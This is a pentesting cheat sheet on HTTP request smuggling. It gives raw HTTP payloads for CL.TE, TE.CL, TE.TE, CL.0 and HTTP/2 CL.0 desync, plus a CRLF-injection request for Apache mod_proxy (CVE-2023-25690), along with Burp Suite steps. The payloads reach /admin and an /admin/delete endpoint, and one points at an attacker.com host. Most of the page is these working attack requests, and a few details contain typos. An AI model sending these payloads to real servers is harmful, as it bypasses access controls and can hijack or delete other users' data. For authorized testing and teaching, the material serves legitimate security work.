HTTP Request Smuggling
Last modified: 2024-02-18
It is a technique for interfering with the way a web site processes sequences of HTTP requests that are received from one or more users.
Investigation
Assume the website has the following HTTP specification.
POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
username=admin&password=admin
If we change "Content-Length" to "Transfer-Encoding" as follow, the data is sent in chunks to server. Each chunk consists of the chunk size in bytes (it is expressed in hexadecimal).
The message is terminated with a chunk of size zero.
POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
1d
username=admin&password=admin
0
By the way, Transfer-Encoding header is not allowed in HTTP/2.
BurpSuite Usefule Extension
BurpSuite has the useful extension “HTTP Request Smuggler”.
Tips
- The chunked size is represented as Hexadecimal.
- When calculating
Content-Length
, consider a newline as 2 bytes (\r\n
).
CL.TE (Content-Length . Transfer-Encoding)
The front-end server uses “Content-Length” header and the back-end server uses “Transfer-Encoding” header.
Send the following request twice.
POST /item HTTP/1.1
Host: example.com
Content-Length: 9
Transfer-Encoding: chunked
0
EVIL
If the response delays, we may be able to request smuggling.
Exploit
The front-end server uses the “Content-Length” header, so
POST /item HTTP/1.1
Host: example.com
Content-Length: 84
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: example.com
Foo: xGET / HTTP/1.1
Host: example.com
TE.CL (Transfer-Encoding . Content-Length)
The front-end server uses “Trans-Encoding” header and the back-end server uses “Content-Length” header.
Send the following request twice.
If you use BurpSuite, check the “Update Content-Length” option is unchecked to avoid BurpSuite automatically changes the Content-Length depending on data sent.
POST HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
Transfer-Encoding: chunked
4
EVIL
0
If the response delays, we may be able to request smuggling.
Exploit
Send the following request twice.
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
70
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
TE.TE (Transfer-Encoding . Transfer-Encoding)
Both the front-end server and the back-end server support the “Transfer-Encoding” header but one of the servers can be induced not to process it by obfuscating the header.
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: x
CL.0 (Content-Length: 0)
If the target website ignores the Content-Length, you’re able to access the restricted page by request smuggling.
1. Prepare the Two Same Requests
If you're using Burp Suite, send the target request to Repeater twice.
2. Change the First Request to POST Request
3. Set the "Content-Length: 0" in the First Request
4. Set the "Connection: keep-alive" in the First Request
Now two requests should look like:
# Request 1
POST / HTTP/1.1
Host: example.com
Cookie: key=value
Connection: keep-alive
Content-Length: 0
GET /admin/delete?username=john
Foo: x
# -------------------------------------------------
# Request 2
GET / HTTP/1.1
Host: example.com
Cookie: key=value
Connection: close
5. Send Requests in Order
First off, if you're using Burp Suite, note that enabling the "Update Content-Length" in the Burp Repeater option. The sequence is Request 1 -> Request 2.
HTTP/2 CL.0 (Content-Length: 0)
1. Prepare Request
If you're using Burp Suite, note that disable "Update Content-Length" and enable "Allow HTTP/2 ALPN override" in the Burp Repeater option.
The request shoud look like:
POST / HTTP/2
Host: example.com
Content-Length: 0
GET /exploit HTTP/1.1
Host: attacker.com
Content-Length: 5
x=1
2. Send Request
Before doing, don't forget to expand the Inspector on the right in the Repeater and select "HTTP/2".
Now send the request a few times.
mod_proxy Misconfiguration on Apache ≥2.4.0, 2.4.55≤(CVE-2023-25690)
Reference: https://github.com/dhmosfunk/CVE-2023-25690-POC
If target web server allows any characters (.*
) in RewriteRule
, it causes HTTP request smuggling.
RewriteEngine on
RewriteRule "^/products/(.*)" "http://127.0.0.1:8080/?productId=$1" [P]
ProxyPassReverse "/" "http://127.0.0.1:8080:/"
Send Request with CRLF (\r\n
) Injection
GET /products/1%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
# It means the following:
#
# GET /products/1 HTTP/1.1
# Host: 127.0.0.1
#
# GET /SMUGGLED HTTP/1.1